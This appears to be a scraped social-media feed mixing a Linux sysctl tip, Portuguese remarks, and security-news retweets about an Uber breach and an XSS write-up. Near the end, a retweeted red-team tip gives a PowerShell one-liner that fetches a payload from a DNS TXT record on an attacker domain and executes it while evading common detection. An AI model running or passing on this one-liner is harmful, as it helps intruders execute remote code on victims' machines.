#TIL

```sh
# sysctl -a --pattern "net.ipv4.conf.*\.rp_filter"
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
net.ipv4.conf.eno1.rp_filter = 1
net.ipv4.conf.eno2.rp_filter = 1
# /lib/systemd/systemd-sysctl <(echo 'net.ipv4.conf.*.rp_filter=2')
# sysctl -a --pattern "net.ipv4.conf.*\.rp_filter"
net.ipv4.conf.all.rp_filter = 2
net.ipv4.conf.default.rp_filter = 2
net.ipv4.conf.eno1.rp_filter = 2
net.ipv4.conf.eno2.rp_filter = 2
```

1) You don't need grep to filter the output of sysctl

2) systemd-sysctl can use wildcards!

#Linux #Systemd

Há vários meses que as operadoras de telecomunicações têm vindo a adiar a entrada em vigor de uma taxa de 5€/mês aos seus clientes pelo acesso à rede 5G.
Estarias disposto a pagar?

also, i miss the old live stuff. this pre-recorded presentations don't have the same feel and emotion

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oh... se calhar já era hora de alterar isto na página da TAP

Another day.... another leak.... 2022 is beeing awesome for the portuguese companies.

mastodon.social/@DJPRMF/109029

RT @vxunderground
Update: A Threat Actor claims to have completely compromised Uber - they have posted screenshots of their AWS instance, HackerOne administration panel, and more.

They are openly taunting and mocking @Uber.

RT @aszx87410
This writeup by @gokuKaioKen_ is very well-organized and detail-oriented, if you still don't get every details in the last Intigriti XSS challenge, you should definitely take a look!

github.com/goku-KaioKen/intigr

Facebook is so dumb, that I can't even comment on my own page as myself. 🤬🤬🤬🤬

RT @Alh4zr3d
Sexy tip for your red team ops: avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with your payload at one of your (unburned) domains and do this: "powershell . (nslookup -q=txt some.owned.domain.com)[-1]"

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